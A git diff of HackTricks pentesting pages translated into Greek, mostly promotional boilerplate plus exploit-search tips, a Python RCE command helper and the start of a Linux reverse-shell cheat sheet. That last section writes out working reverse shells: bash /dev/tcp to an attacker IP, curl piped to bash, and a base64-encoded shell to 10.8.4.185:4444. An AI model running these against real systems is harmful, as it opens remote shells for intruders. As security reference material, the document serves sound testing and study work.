* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,23 +1,24 @@
# venv
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και **να αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -39,24 +40,25 @@ is fixed running
pip3 install wheel
inside the virtual environment
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να κατασκευάσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# Αιτήσεις Ιστού
# Web Requests
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή τη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και **να αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Αιτήσεις Python
## Python Requests
```python
import requests
@ -90,7 +91,7 @@ return resp.json()
def get_random_string(guid, path):
return ''.join(random.choice(string.ascii_letters) for i in range(10))
```
## Εντολή Python για εκμετάλλευση ενός RCE
## Python cmd για την εκμετάλλευση ενός RCE
```python
import requests
import re
@ -117,24 +118,25 @@ return 1
term = Terminal()
term.cmdloop()
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να κατασκευάσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,36 +1,37 @@
# Αναζήτηση Εκμεταλλεύσεων
# Search Exploits
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε Πρόσβαση Σήμερα:
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %}
### Περιηγητής
### Browser
Αναζητήστε πάντα στο "google" ή σε άλλους: **\<service\_name> \[version] exploit**
Πάντα αναζητήστε σε "google" ή άλλες: **\<service\_name> \[version] exploit**
Θα πρέπει επίσης να δοκιμάσετε την **αναζήτηση εκμεταλλεύσεων shodan** από το [https://exploits.shodan.io/](https://exploits.shodan.io).
Θα πρέπει επίσης να δοκιμάσετε την **shodan** **exploit search** από [https://exploits.shodan.io/](https://exploits.shodan.io).
### Searchsploit
Χρήσιμο για την αναζήτηση εκμεταλλεύσεων για υπηρεσίες στο **exploitdb από τη γραμμή εντολών.**
Χρήσιμο για να αναζητήσετε exploits για υπηρεσίες στο **exploitdb από την κονσόλα.**
```bash
#Searchsploit tricks
searchsploit "linux Kernel" #Example
@ -42,7 +43,7 @@ searchsploit --nmap file.xml #Search vulns inside an nmap xml result
```
### Pompem
[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) είναι ένα ακόμα εργαλείο για την αναζήτηση εκμετάλλευσης
[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) είναι ένα άλλο εργαλείο για την αναζήτηση εκμεταλλεύσεων
### MSF-Search
```bash
@ -50,34 +51,35 @@ msf> search platform:windows port:135 target:XP type:exploit
```
### PacketStorm
Εάν δεν βρεθεί τίποτα, δοκιμάστε να αναζητήσετε την χρησιμοποιούμενη τεχνολογία στο [https://packetstormsecurity.com/](https://packetstormsecurity.com)
Αν δεν βρείτε τίποτα, προσπαθήστε να αναζητήσετε την χρησιμοποιούμενη τεχνολογία μέσα στο [https://packetstormsecurity.com/](https://packetstormsecurity.com)
### Vulners
Μπορείτε επίσης να αναζητήσετε στη βάση δεδομένων του vulners: [https://vulners.com/](https://vulners.com)
Μπορείτε επίσης να αναζητήσετε στη βάση δεδομένων vulners: [https://vulners.com/](https://vulners.com)
### Sploitus
Αυτό αναζητά εκμεταλλεύσεις σε άλλες βάσεις δεδομένων: [https://sploitus.com/](https://sploitus.com)
Αυτό αναζητά exploits σε άλλες βάσεις δεδομένων: [https://sploitus.com/](https://sploitus.com)
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,35 +1,35 @@
# Shells - Linux
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/generic-methodologies-and-resources/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
**Αν έχετε ερωτήσεις σχετικά με οποιοδήποτε από αυτά τα shells μπορείτε να τα ελέγξετε με το** [**https://explainshell.com/**](https://explainshell.com)
**Αν έχετε ερωτήσεις σχετικά με οποιαδήποτε από αυτές τις shells μπορείτε να τις ελέγξετε με** [**https://explainshell.com/**](https://explainshell.com)
## Full TTY
**Μόλις αποκτήσετε ένα αντίστροφο shell**[ **διαβάστε αυτήν τη σελίδα για να αποκτήσετε ένα πλήρες TTY**](full-ttys.md)**.**
**Μόλις αποκτήσετε μια reverse shell**[ **διαβάστε αυτή τη σελίδα για να αποκτήσετε ένα πλήρες TTY**](full-ttys.md)**.**
## Bash | sh
```bash
curl https://reverse-shell.sh/1.1.1.1:3000 | bash
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
@ -42,11 +42,9 @@ exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5;
#after getting the previous shell to get the output to execute
exec >&0
```
Μην ξεχάσετε να ελέγξετε με άλλες θήκες: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh και bash.
### Ασφαλές κέλυφος συμβόλων
Μην ξεχάσετε να ελέγξετε και με άλλα κελύφη: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh και bash.
### Συμβολική ασφαλής θήκη
```bash
#If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
@ -55,32 +53,26 @@ bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
```
#### Shell explanation
#### Εξήγηση Shell
1. **`bash -i`**: Αυτό το τμήμα της εντολής ξεκινάει ένα διαδραστικό (`-i`) κέλυφος Bash.
2. **`>&`**: Αυτό το τμήμα της εντολής είναι μια συντομογραφία για την **ανακατεύθυνση τόσο της τυπικής εξόδου** (`stdout`) και της **τυπικής σφάλματος** (`stderr`) προς το **ίδιο προορισμό**.
1. **`bash -i`**: Αυτό το μέρος της εντολής ξεκινά μια διαδραστική (`-i`) Bash shell.
2. **`>&`**: Αυτό το μέρος της εντολής είναι μια συντομογραφία για **την ανακατεύθυνση τόσο της κανονικής εξόδου** (`stdout`) όσο και της **κανονικής σφάλματος** (`stderr`) στον **ίδιο προορισμό**.
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: Αυτό είναι ένα ειδικό αρχείο που **αντιπροσωπεύει μια σύνδεση TCP στη συγκεκριμένη διεύθυνση IP και θύρα**.
